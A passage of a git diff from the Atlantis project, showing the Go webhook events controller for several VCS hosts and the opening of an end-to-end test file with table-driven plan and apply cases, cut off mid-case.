bitbucketserver.PullFromRefUpdatedHeader, bitbucketserver.PullMergedHeader, bitbucketserver.PullDeclinedHeader, bitbucketserver.PullDeletedHeader: + e.Logger.Debug("handling as pull request state changed event") + e.handleBitbucketServerPullRequestEvent(e.Logger, w, eventType, body, reqID) + return + case bitbucketserver.PullCommentCreatedHeader: + e.Logger.Debug("handling as comment created event") + e.HandleBitbucketServerCommentEvent(w, body, reqID) + return + default: + e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event type %s %s=%s", eventType, bitbucketServerRequestIDHeader, reqID) + } +} + +func (e *VCSEventsController) handleAzureDevopsPost(w http.ResponseWriter, r *http.Request) { + // Validate the request against the optional basic auth username and password. + payload, err := e.AzureDevopsRequestValidator.Validate(r, e.AzureDevopsWebhookBasicUser, e.AzureDevopsWebhookBasicPassword) + if err != nil { + e.respond(w, logging.Warn, http.StatusUnauthorized, "%s", err.Error()) + return + } + e.Logger.Debug("request valid") + + azuredevopsReqID := "Request-Id=" + r.Header.Get("Request-Id") + event, err := azuredevops.ParseWebHook(payload) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Failed parsing webhook: %v %s", err, azuredevopsReqID) + return + } + switch event.PayloadType { + case azuredevops.PullRequestCommentedEvent: + e.Logger.Debug("handling as pull request commented event") + e.HandleAzureDevopsPullRequestCommentedEvent(w, event, azuredevopsReqID) + case azuredevops.PullRequestEvent: + e.Logger.Debug("handling as pull request event") + e.HandleAzureDevopsPullRequestEvent(w, event, azuredevopsReqID) + default: + e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event: %v %s", event.PayloadType, azuredevopsReqID) + } +} + +func (e *VCSEventsController) handleGiteaPost(w http.ResponseWriter, r *http.Request) { + signature := r.Header.Get(giteaSignatureHeader) + eventType := r.Header.Get(giteaEventTypeHeader) + reqID := r.Header.Get(giteaRequestIDHeader) + + defer r.Body.Close() // Ensure the request body is closed + + body, err := io.ReadAll(r.Body) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Unable to read body: %s %s=%s", err, "X-Gitea-Delivery", reqID) + return + } + + if len(e.GiteaWebhookSecret) > 0 { + if err := gitea.ValidateSignature(body, signature, e.GiteaWebhookSecret); err != nil { + e.respond(w, logging.Warn, http.StatusBadRequest, "%s", errors.Wrap(err, "request did not pass validation").Error()) + return + } + } + + logger := e.Logger.With("gitea-request-id", reqID) + + // Log the event type for debugging purposes + logger.Debug("Received Gitea event %s with ID %s", eventType, reqID) + + // Depending on the event type, handle the event appropriately + switch eventType { + case "pull_request_comment": + e.HandleGiteaPullRequestCommentEvent(w, body, reqID) + case "pull_request": + logger.Debug("Handling as pull_request") + e.handleGiteaPullRequestEvent(logger, w, body, reqID) + // Add other case handlers as necessary + default: + e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported Gitea event type: %s %s=%s", eventType, "X-Gitea-Delivery", reqID) + } +} + +func (e *VCSEventsController) handleGiteaPullRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, body []byte, reqID string) { + logger.Debug("Entering handleGiteaPullRequestEvent") + // Attempt to unmarshal the incoming body into the Gitea PullRequest struct + var payload gitea.GiteaWebhookPayload + if err := json.Unmarshal(body, &payload); err != nil { + e.Logger.Err("Failed to unmarshal Gitea webhook payload: %v", err) + e.respond(w, logging.Error, http.StatusBadRequest, "Failed to parse request body: %s %s=%s", err, giteaRequestIDHeader, reqID) + return + } + + logger.Debug("Successfully unmarshaled Gitea event") + + // Use the parser function to convert into Atlantis models + pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGiteaPullRequestEvent(payload.PullRequest) + if err != nil { + e.Logger.Err("Failed to parse Gitea pull request event: %v", err) + e.respond(w, logging.Error, http.StatusInternalServerError, "Failed to process event") + return + } + + logger.Debug("Parsed Gitea event into Atlantis models successfully") + + // Annotate logger with repo and pull/merge request number. + logger = logger.With( + "repo", baseRepo.FullName, + "pull", strconv.Itoa(pull.Num), + ) + logger.Info("Handling Gitea Pull Request '%s' event", pullEventType.String()) + response := e.handlePullRequestEvent(logger, baseRepo, headRepo, pull, user, pullEventType) + + e.respond(w, logging.Debug, http.StatusOK, "%s", response.body) +} + +// HandleGiteaPullRequestCommentEvent handles comment events from Gitea where Atlantis commands can come from. +func (e *VCSEventsController) HandleGiteaPullRequestCommentEvent(w http.ResponseWriter, body []byte, reqID string) { + var event gitea.GiteaIssueCommentPayload + if err := json.Unmarshal(body, &event); err != nil { + e.Logger.Err("Failed to unmarshal Gitea comment payload: %v", err) + e.respond(w, logging.Error, http.StatusBadRequest, "Failed to parse request body") + return + } + e.Logger.Debug("Successfully unmarshaled Gitea comment event") + + baseRepo, user, pullNum, _ := e.Parser.ParseGiteaIssueCommentEvent(event) + // Since we're lacking headRepo and maybePull details, we'll pass nil + // This follows the same approach as the GitHub client for handling comment events without full PR details + response := e.handleCommentEvent(e.Logger, baseRepo, nil, nil, user, pullNum, event.Comment.Body, event.Comment.ID, models.Gitea) + + e.respond(w, logging.Debug, http.StatusOK, "%s", response.body) +} + +// HandleGithubCommentEvent handles comment events from GitHub where Atlantis +// commands can come from. It's exported to make testing easier. +func (e *VCSEventsController) HandleGithubCommentEvent(event *github.IssueCommentEvent, githubReqID string, logger logging.SimpleLogging) HTTPResponse { + if event.GetAction() != "created" { + return HTTPResponse{ + body: fmt.Sprintf("Ignoring comment event since action was not created %s", githubReqID), + } + } + + baseRepo, user, pullNum, err := e.Parser.ParseGithubIssueCommentEvent(logger, event) + + if err != nil { + wrapped := errors.Wrapf(err, "Failed parsing event: %s", githubReqID) + return HTTPResponse{ + body: wrapped.Error(), + err: HTTPError{ + code: http.StatusBadRequest, + err: wrapped, + isSilenced: false, + }, + } + } + + comment := event.GetComment() + + // We pass in nil for maybeHeadRepo because the head repo data isn't + // available in the GithubIssueComment event. + return e.handleCommentEvent(logger, baseRepo, nil, nil, user, pullNum, comment.GetBody(), comment.GetID(), models.Github) +} + +// HandleBitbucketCloudCommentEvent handles comment events from Bitbucket. +func (e *VCSEventsController) HandleBitbucketCloudCommentEvent(w http.ResponseWriter, body []byte, reqID string) { + pull, baseRepo, headRepo, user, comment, err := e.Parser.ParseBitbucketCloudPullCommentEvent(body) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) + return + } + resp := e.handleCommentEvent(e.Logger, baseRepo, &headRepo, &pull, user, pull.Num, comment, -1, models.BitbucketCloud) + + //TODO: move this to the outer most function similar to github + lvl := logging.Debug + code := http.StatusOK + msg := resp.body + if resp.err.code != 0 { + lvl = logging.Error + code = resp.err.code + msg = resp.err.err.Error() + } + e.respond(w, lvl, code, "%s", msg) +} + +// HandleBitbucketServerCommentEvent handles comment events from Bitbucket. +func (e *VCSEventsController) HandleBitbucketServerCommentEvent(w http.ResponseWriter, body []byte, reqID string) { + pull, baseRepo, headRepo, user, comment, err := e.Parser.ParseBitbucketServerPullCommentEvent(body) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) + return + } + resp := e.handleCommentEvent(e.Logger, baseRepo, &headRepo, &pull, user, pull.Num, comment, -1, models.BitbucketCloud) + + //TODO: move this to the outer most function similar to github + lvl := logging.Debug + code := http.StatusOK + msg := resp.body + if resp.err.code != 0 { + lvl = logging.Error + code = resp.err.code + msg = resp.err.err.Error() + } + e.respond(w, lvl, code, "%s", msg) +} + +func (e *VCSEventsController) handleBitbucketCloudPullRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, eventType string, body []byte, reqID string) { + pull, baseRepo, headRepo, user, err := e.Parser.ParseBitbucketCloudPullEvent(body) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketCloudRequestIDHeader, reqID) + return + } + e.Logger.Debug("SHA is %q", pull.HeadCommit) + pullEventType := e.Parser.GetBitbucketCloudPullEventType(eventType, pull.HeadCommit, pull.URL) + + // Annotate logger with repo and pull/merge request number. + logger = logger.With( + "repo", baseRepo.FullName, + "pull", strconv.Itoa(pull.Num), + ) + + logger.Info("Handling Bitbucket Cloud Pull Request '%s' event", pullEventType.String()) + resp := e.handlePullRequestEvent(e.Logger, baseRepo, headRepo, pull, user, pullEventType) + + //TODO: move this to the outer most function similar to github + lvl := logging.Debug + code := http.StatusOK + msg := resp.body + if resp.err.code != 0 { + lvl = logging.Error + code = resp.err.code + msg = resp.err.err.Error() + } + e.respond(w, lvl, code, "%s", msg) +} + +func (e *VCSEventsController) handleBitbucketServerPullRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, eventType string, body []byte, reqID string) { + pull, baseRepo, headRepo, user, err := e.Parser.ParseBitbucketServerPullEvent(body) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s=%s", err, bitbucketServerRequestIDHeader, reqID) + return + } + pullEventType := e.Parser.GetBitbucketServerPullEventType(eventType) + + // Annotate logger with repo and pull/merge request number. + logger = logger.With( + "repo", baseRepo.FullName, + "pull", strconv.Itoa(pull.Num), + ) + + logger.Info("Handling Bitbucket Server Pull Request '%s' event", pullEventType.String()) + resp := e.handlePullRequestEvent(e.Logger, baseRepo, headRepo, pull, user, pullEventType) + + //TODO: move this to the outer most function similar to github + lvl := logging.Debug + code := http.StatusOK + msg := resp.body + if resp.err.code != 0 { + lvl = logging.Error + code = resp.err.code + msg = resp.err.err.Error() + } + e.respond(w, lvl, code, "%s", msg) +} + +// HandleGithubPullRequestEvent will delete any locks associated with the pull +// request if the event is a pull request closed event. It's exported to make +// testing easier. +func (e *VCSEventsController) HandleGithubPullRequestEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent, githubReqID string) HTTPResponse { + pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGithubPullEvent(logger, pullEvent) + if err != nil { + wrapped := errors.Wrapf(err, "Error parsing pull data: %s %s", err, githubReqID) + return HTTPResponse{ + body: wrapped.Error(), + err: HTTPError{ + code: http.StatusBadRequest, + err: wrapped, + isSilenced: false, + }, + } + } + + // Annotate logger with repo and pull/merge request number. + logger = logger.With( + "repo", baseRepo.FullName, + "pull", strconv.Itoa(pull.Num), + ) + + logger.Info("Handling GitHub Pull Request '%s' event", pullEventType.String()) + return e.handlePullRequestEvent(logger, baseRepo, headRepo, pull, user, pullEventType) +} + +func (e *VCSEventsController) handlePullRequestEvent(logger logging.SimpleLogging, baseRepo models.Repo, headRepo models.Repo, pull models.PullRequest, user models.User, eventType models.PullRequestEventType) HTTPResponse { + if !e.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) { + // If the repo isn't allowlisted and we receive an opened pull request + // event we comment back on the pull request that the repo isn't + // allowlisted. This is because the user might be expecting Atlantis to + // autoplan. For other events, we just ignore them. + if eventType == models.OpenedPullEvent { + e.commentNotAllowlisted(baseRepo, pull.Num) + } + + err := errors.Errorf("Pull request event from non-allowlisted repo '%s/%s'", baseRepo.VCSHost.Hostname, baseRepo.FullName) + + return HTTPResponse{ + body: err.Error(), + err: HTTPError{ + code: http.StatusForbidden, + err: err, + isSilenced: e.SilenceAllowlistErrors, + }, + } + } + + switch eventType { + case models.OpenedPullEvent, models.UpdatedPullEvent: + // If the pull request was opened or updated, we will try to autoplan. + + // Respond with success and then actually execute the command asynchronously. + // We use a goroutine so that this function returns and the connection is + // closed. + if !e.TestingMode { + go e.CommandRunner.RunAutoplanCommand(baseRepo, headRepo, pull, user) + } else { + // When testing we want to wait for everything to complete. + e.CommandRunner.RunAutoplanCommand(baseRepo, headRepo, pull, user) + } + return HTTPResponse{ + body: "Processing...", + } + case models.ClosedPullEvent: + // If the pull request was closed, we delete locks. + logger.Info("Pull request closed, cleaning up...") + if err := e.PullCleaner.CleanUpPull(logger, baseRepo, pull); err != nil { + return HTTPResponse{ + body: err.Error(), + err: HTTPError{ + code: http.StatusForbidden, + err: err, + isSilenced: false, + }, + } + } + logger.Info("Locks and workspace successfully deleted") + return HTTPResponse{ + body: "Pull request cleaned successfully", + } + case models.OtherPullEvent: + // Else we ignore the event. + return HTTPResponse{ + body: "Ignoring non-actionable pull request event", + } + } + return HTTPResponse{} +} + +func (e *VCSEventsController) handleGitlabPost(w http.ResponseWriter, r *http.Request) { + event, err := e.GitlabRequestParserValidator.ParseAndValidate(r, e.GitlabWebhookSecret) + if err != nil { + e.respond(w, logging.Warn, http.StatusBadRequest, "%s", err.Error()) + return + } + e.Logger.Debug("request valid") + + switch event := event.(type) { + case gitlab.MergeCommentEvent: + e.Logger.Debug("handling as comment event") + e.HandleGitlabCommentEvent(w, event) + case gitlab.MergeEvent: + e.HandleGitlabMergeRequestEvent(e.Logger, w, event) + case gitlab.CommitCommentEvent: + e.Logger.Debug("comments on commits are not supported, only comments on merge requests") + e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment on commit event") + default: + e.respond(w, logging.Debug, http.StatusOK, "Ignoring unsupported event") + } + +} + +// HandleGitlabCommentEvent handles comment events from GitLab where Atlantis +// commands can come from. It's exported to make testing easier. +func (e *VCSEventsController) HandleGitlabCommentEvent(w http.ResponseWriter, event gitlab.MergeCommentEvent) { + // todo: can gitlab return the pull request here too? + baseRepo, headRepo, commentID, user, err := e.Parser.ParseGitlabMergeRequestCommentEvent(event) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing webhook: %s", err) + return + } + resp := e.handleCommentEvent(e.Logger, baseRepo, &headRepo, nil, user, event.MergeRequest.IID, event.ObjectAttributes.Note, int64(commentID), models.Gitlab) + + //TODO: move this to the outer most function similar to github + lvl := logging.Debug + code := http.StatusOK + msg := resp.body + if resp.err.code != 0 { + lvl = logging.Error + code = resp.err.code + msg = resp.err.err.Error() + } + e.respond(w, lvl, code, "%s", msg) +} + +func (e *VCSEventsController) handleCommentEvent(logger logging.SimpleLogging, baseRepo models.Repo, maybeHeadRepo *models.Repo, maybePull *models.PullRequest, user models.User, pullNum int, comment string, commentID int64, vcsHost models.VCSHostType) HTTPResponse { + logger = logger.WithHistory( + "repo", baseRepo.FullName, + "pull", pullNum, + ) + + parseResult := e.CommentParser.Parse(comment, vcsHost) + if parseResult.Ignore { + truncated := comment + truncateLen := 40 + if len(truncated) > truncateLen { + truncated = comment[:truncateLen] + "..." + } + logger.Debug("Ignoring non-command comment: '%s'", truncated) + return HTTPResponse{ + body: fmt.Sprintf("Ignoring non-command comment: %q", truncated), + } + } + if parseResult.Command != nil { + logger.Info("Handling '%s' comment", parseResult.Command.Name) + } + + // At this point we know it's a command we're not supposed to ignore, so now + // we check if this repo is allowed to run commands in the first place. + if !e.RepoAllowlistChecker.IsAllowlisted(baseRepo.FullName, baseRepo.VCSHost.Hostname) { + e.commentNotAllowlisted(baseRepo, pullNum) + + err := errors.New("Repo not allowlisted") + + return HTTPResponse{ + body: err.Error(), + err: HTTPError{ + err: err, + code: http.StatusForbidden, + isSilenced: e.SilenceAllowlistErrors, + }, + } + } + + // It's a comment we're going to react to so add a reaction. + if e.EmojiReaction != "" { + err := e.VCSClient.ReactToComment(logger, baseRepo, pullNum, commentID, e.EmojiReaction) + if err != nil { + logger.Warn("Failed to react to comment: %s", err) + } + } + + // If the command isn't valid or doesn't require processing, ex. + // "atlantis help" then we just comment back immediately. + // We do this here rather than earlier because we need access to the pull + // variable to comment back on the pull request. + if parseResult.CommentResponse != "" { + if err := e.VCSClient.CreateComment(logger, baseRepo, pullNum, parseResult.CommentResponse, ""); err != nil { + logger.Err("Unable to comment on pull request: %s", err) + } + return HTTPResponse{ + body: "Commenting back on pull request", + } + } + if parseResult.Command.RepoRelDir != "" { + logger.Info("Running comment command '%v' on dir '%v' for user '%v'.", + parseResult.Command.Name, parseResult.Command.RepoRelDir, user.Username) + } else { + logger.Info("Running comment command '%v' for user '%v'.", parseResult.Command.Name, user.Username) + } + if !e.TestingMode { + // Respond with success and then actually execute the command asynchronously. + // We use a goroutine so that this function returns and the connection is + // closed. + go e.CommandRunner.RunCommentCommand(baseRepo, maybeHeadRepo, maybePull, user, pullNum, parseResult.Command) + } else { + // When testing we want to wait for everything to complete. + e.CommandRunner.RunCommentCommand(baseRepo, maybeHeadRepo, maybePull, user, pullNum, parseResult.Command) + } + + return HTTPResponse{ + body: "Processing...", + } +} + +// HandleGitlabMergeRequestEvent will delete any locks associated with the pull +// request if the event is a merge request closed event. It's exported to make +// testing easier. +func (e *VCSEventsController) HandleGitlabMergeRequestEvent(logger logging.SimpleLogging, w http.ResponseWriter, event gitlab.MergeEvent) { + pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseGitlabMergeRequestEvent(event) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing webhook: %s", err) + return + } + + // Annotate logger with repo and pull/merge request number. + logger = logger.With( + "repo", baseRepo.FullName, + "pull", strconv.Itoa(pull.Num), + ) + logger.Info("Processing Gitlab merge request '%s' event", pullEventType.String()) + resp := e.handlePullRequestEvent(logger, baseRepo, headRepo, pull, user, pullEventType) + + //TODO: move this to the outer most function similar to github + lvl := logging.Debug + code := http.StatusOK + msg := resp.body + if resp.err.code != 0 { + lvl = logging.Error + code = resp.err.code + msg = resp.err.err.Error() + } + e.respond(w, lvl, code, "%s", msg) +} + +// HandleAzureDevopsPullRequestCommentedEvent handles comment events from Azure DevOps where Atlantis +// commands can come from. It's exported to make testing easier. +// Sometimes we may want data from the parent azuredevops.Event struct, so we handle type checking here. +// Requires Resource Version 2.0 of the Pull Request Commented On webhook payload. +func (e *VCSEventsController) HandleAzureDevopsPullRequestCommentedEvent(w http.ResponseWriter, event *azuredevops.Event, azuredevopsReqID string) { + resource, ok := event.Resource.(*azuredevops.GitPullRequestWithComment) + if !ok || event.PayloadType != azuredevops.PullRequestCommentedEvent { + e.respond(w, logging.Error, http.StatusBadRequest, "Event.Resource is nil or received bad event type %v; %s", event.Resource, azuredevopsReqID) + return + } + + if resource.Comment == nil { + e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment event since no comment is linked to payload; %s", azuredevopsReqID) + return + } + + if resource.Comment.GetIsDeleted() { + e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment event since it is linked to deleting a pull request comment; %s", azuredevopsReqID) + return + } + + strippedComment := bluemonday.StrictPolicy().SanitizeBytes([]byte(*resource.Comment.Content)) + + if resource.PullRequest == nil { + e.respond(w, logging.Debug, http.StatusOK, "Ignoring comment event since no pull request is linked to payload; %s", azuredevopsReqID) + return + } + + if isAzureDevOpsTestRepoURL(resource.PullRequest.GetRepository()) { + e.respond(w, logging.Debug, http.StatusOK, "Ignoring Azure DevOps Test Event with Repo URL: %v %s", resource.PullRequest.Repository.URL, azuredevopsReqID) + return + } + + createdBy := resource.PullRequest.GetCreatedBy() + user := models.User{Username: createdBy.GetUniqueName()} + baseRepo, err := e.Parser.ParseAzureDevopsRepo(resource.PullRequest.GetRepository()) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull request repository field: %s; %s", err, azuredevopsReqID) + return + } + resp := e.handleCommentEvent(e.Logger, baseRepo, nil, nil, user, resource.PullRequest.GetPullRequestID(), string(strippedComment), -1, models.AzureDevops) + + //TODO: move this to the outer most function similar to github + lvl := logging.Debug + code := http.StatusOK + msg := resp.body + if resp.err.code != 0 { + lvl = logging.Error + code = resp.err.code + msg = resp.err.err.Error() + } + e.respond(w, lvl, code, "%s", msg) +} + +// HandleAzureDevopsPullRequestEvent will delete any locks associated with the pull +// request if the event is a pull request closed event. It's exported to make +// testing easier. +func (e *VCSEventsController) HandleAzureDevopsPullRequestEvent(w http.ResponseWriter, event *azuredevops.Event, azuredevopsReqID string) { + prText := event.Message.GetText() + ignoreEvents := []string{ + "changed the reviewer list", + "approved pull request", + "has approved and left suggestions", + "is waiting for the author", + "rejected pull request", + "voted on pull request", + } + for _, s := range ignoreEvents { + if strings.Contains(prText, s) { + msg := fmt.Sprintf("pull request updated event is not a supported type [%s]", s) + e.respond(w, logging.Debug, http.StatusOK, "%s: %s", msg, azuredevopsReqID) + return + } + } + + resource, ok := event.Resource.(*azuredevops.GitPullRequest) + if !ok || event.PayloadType != azuredevops.PullRequestEvent { + e.respond(w, logging.Error, http.StatusBadRequest, "Event.Resource is nil or received bad event type %v; %s", event.Resource, azuredevopsReqID) + return + } + if isAzureDevOpsTestRepoURL(resource.GetRepository()) { + e.respond(w, logging.Debug, http.StatusOK, "Ignoring Azure DevOps Test Event with Repo URL: %v %s", resource.Repository.URL, azuredevopsReqID) + return + } + + pull, pullEventType, baseRepo, headRepo, user, err := e.Parser.ParseAzureDevopsPullEvent(*event) + if err != nil { + e.respond(w, logging.Error, http.StatusBadRequest, "Error parsing pull data: %s %s", err, azuredevopsReqID) + return + } + e.Logger.Info("identified event as type %q", pullEventType.String()) + resp := e.handlePullRequestEvent(e.Logger, baseRepo, headRepo, pull, user, pullEventType) + + //TODO: move this to the outer most function similar to github + lvl := logging.Debug + code := http.StatusOK + msg := resp.body + if resp.err.code != 0 { + lvl = logging.Error + code = resp.err.code + msg = resp.err.err.Error() + } + e.respond(w, lvl, code, "%s", msg) +} + +// supportsHost returns true if h is in e.SupportedVCSHosts and false otherwise. +func (e *VCSEventsController) supportsHost(h models.VCSHostType) bool { + for _, supported := range e.SupportedVCSHosts { + if h == supported { + return true + } + } + return false +} + +func (e *VCSEventsController) respond(w http.ResponseWriter, lvl logging.LogLevel, code int, format string, args ...interface{}) { + response := fmt.Sprintf(format, args...) + e.Logger.Log(lvl, response) + w.WriteHeader(code) + fmt.Fprintln(w, response) +} + +// commentNotAllowlisted comments on the pull request that the repo is not +// allowlisted unless allowlist error comments are disabled. +func (e *VCSEventsController) commentNotAllowlisted(baseRepo models.Repo, pullNum int) { + if e.SilenceAllowlistErrors { + return + } + + errMsg := "```\nError: This repo is not allowlisted for Atlantis.\n```" + if err := e.VCSClient.CreateComment(e.Logger, baseRepo, pullNum, errMsg, ""); err != nil { + e.Logger.Err("unable to comment on pull request: %s", err) + } +} + +func isAzureDevOpsTestRepoURL(repository *azuredevops.GitRepository) bool { + if repository == nil { + return false + } + return repository.GetURL() == azuredevopsTestURL +} diff --git a/server/controllers/events/events_controller_e2e_test.go b/server/controllers/events/events_controller_e2e_test.go new file mode 100644 index 0000000000..ad3aacaa35 --- /dev/null +++ b/server/controllers/events/events_controller_e2e_test.go @@ -0,0 +1,1926 @@ +package events_test + +import ( + "bytes" + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "os" + "os/exec" + "path/filepath" + "regexp" + "strings" + "testing" + + "github.com/google/go-github/v71/github" + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + + "github.com/runatlantis/atlantis/server" + events_controllers "github.com/runatlantis/atlantis/server/controllers/events" + "github.com/runatlantis/atlantis/server/core/config" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/db" + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/core/runtime" + runtimemocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" + "github.com/runatlantis/atlantis/server/core/runtime/policy" + mock_policy "github.com/runatlantis/atlantis/server/core/runtime/policy/mocks" + "github.com/runatlantis/atlantis/server/core/terraform" + terraform_mocks "github.com/runatlantis/atlantis/server/core/terraform/mocks" + "github.com/runatlantis/atlantis/server/core/terraform/tfclient" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/mocks" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/vcs" + vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" + "github.com/runatlantis/atlantis/server/events/webhooks" + jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" + . "github.com/runatlantis/atlantis/testing" +) + +// In the e2e test, we use `conftest` not `conftest$version`. +// Because if depends on the version, we need to upgrade test base image before e2e fix it. +const conftestCommand = "conftest" + +var applyLocker locking.ApplyLocker +var userConfig server.UserConfig + +type NoopTFDownloader struct{} + +var mockPreWorkflowHookRunner *runtimemocks.MockPreWorkflowHookRunner + +var mockPostWorkflowHookRunner *runtimemocks.MockPostWorkflowHookRunner + +func (m *NoopTFDownloader) Install(_ string, _ string, _ *version.Version) (string, error) { + return "", nil +} + +type LocalConftestCache struct { +} + +func (m *LocalConftestCache) Get(_ *version.Version) (string, error) { + return exec.LookPath(conftestCommand) +} + +func TestGitHubWorkflow(t *testing.T) { + + if testing.Short() { + t.SkipNow() + } + // Ensure we have >= TF 0.14 locally. + ensureRunning014(t) + + cases := []struct { + Description string + // RepoDir is relative to testdata/test-repos. + RepoDir string + // RepoConfigFile is path for atlantis.yaml + RepoConfigFile string + // ModifiedFiles are the list of files that have been modified in this + // pull request. + ModifiedFiles []string + // Comments are what our mock user writes to the pull request. + Comments []string + // ApplyLock creates an apply lock that temporarily disables apply command + ApplyLock bool + // AllowCommands flag what kind of atlantis commands are available. + AllowCommands []command.Name + // DisableAutoplan flag disable auto plans when any pull request is opened. + DisableAutoplan bool + // DisablePreWorkflowHooks if set to true, pre-workflow hooks will be disabled + DisablePreWorkflowHooks bool + // ExpAutomerge is true if we expect Atlantis to automerge. + ExpAutomerge bool + // ExpAutoplan is true if we expect Atlantis to autoplan. + ExpAutoplan bool + // ExpParallel is true if we expect Atlantis to run parallel plans or applies. + ExpParallel bool + // ExpMergeable is true if we expect Atlantis to be able to merge. + // If for instance policy check is failing and there are no approvals + // ExpMergeable should be false + ExpMergeable bool + // ExpReplies is a list of files containing the expected replies that + // Atlantis writes to the pull request in order. A reply from a parallel operation + // will be matched using a substring check. + ExpReplies [][]string + // ExpAllowResponseCommentBack allow http response content with "Commenting back on pull request" + ExpAllowResponseCommentBack bool + // ExpParseFailedCount represents how many times test sends invalid commands + ExpParseFailedCount int + // ExpNoLocksToDelete whether we expect that there are no locks at the end to delete + ExpNoLocksToDelete bool + }{ + { + Description: "no comment or change", + RepoDir: "simple", + ModifiedFiles: []string{}, + Comments: []string{}, + ExpReplies: [][]string{}, + ExpNoLocksToDelete: true, + }, + { + Description: "no comment", + RepoDir: "simple", + ModifiedFiles: []string{"main.tf"}, + Comments: []string{}, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-merge.txt"}, + }, + ExpAutoplan: true, + }, + { + Description: "simple", + RepoDir: "simple", + ModifiedFiles: []string{"main.tf"}, + Comments: []string{ + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + ExpAutoplan: true, + }, + { + Description: "simple with plan comment", + RepoDir: "simple", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis plan", + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-autoplan.txt"}, + {"exp-output-apply.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "simple with comment -var", + RepoDir: "simple", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis plan -- -var var=overridden", + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-atlantis-plan-var-overridden.txt"}, + {"exp-output-apply-var.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "simple with workspaces", + RepoDir: "simple", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis plan -- -var var=default_workspace", + "atlantis plan -w new_workspace -- -var var=new_workspace", + "atlantis apply -w default", + "atlantis apply -w new_workspace", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-atlantis-plan.txt"}, + {"exp-output-atlantis-plan-new-workspace.txt"}, + {"exp-output-apply-var-default-workspace.txt"}, + {"exp-output-apply-var-new-workspace.txt"}, + {"exp-output-merge-workspaces.txt"}, + }, + }, + { + Description: "simple with workspaces and apply all", + RepoDir: "simple", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis plan -- -var var=default_workspace", + "atlantis plan -w new_workspace -- -var var=new_workspace", + "atlantis apply", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-atlantis-plan.txt"}, + {"exp-output-atlantis-plan-new-workspace.txt"}, + {"exp-output-apply-var-all.txt"}, + {"exp-output-merge-workspaces.txt"}, + }, + }, + { + Description: "simple with allow commands", + RepoDir: "simple", + AllowCommands: []command.Name{command.Plan, command.Apply}, + Comments: []string{ + "atlantis import ADDRESS ID", + }, + ExpReplies: [][]string{ + {"exp-output-allow-command-unknown-import.txt"}, + }, + ExpAllowResponseCommentBack: true, + ExpParseFailedCount: 1, + ExpNoLocksToDelete: true, + }, + { + Description: "simple with atlantis.yaml", + RepoDir: "simple-yaml", + ModifiedFiles: []string{"main.tf"}, + ExpAutoplan: true, + Comments: []string{ + "atlantis apply -w staging", + "atlantis apply -w default", + }, + ExpReplies: [][]string{ + {"exp-output-autoplan.txt"}, + {"exp-output-apply-staging.txt"}, + {"exp-output-apply-default.txt"}, + {"exp-output-merge.txt"}, + }, + }, + { + Description: "simple with atlantis.yaml - autoplan disabled", + RepoDir: "simple-yaml", + ModifiedFiles: []string{"main.tf"}, + DisableAutoplan: true, + DisablePreWorkflowHooks: true, + ExpAutoplan: false, + Comments: []string{ + "atlantis plan -w staging", + "atlantis plan -w default", + "atlantis apply -w staging", + }, + ExpReplies: [][]string{ + 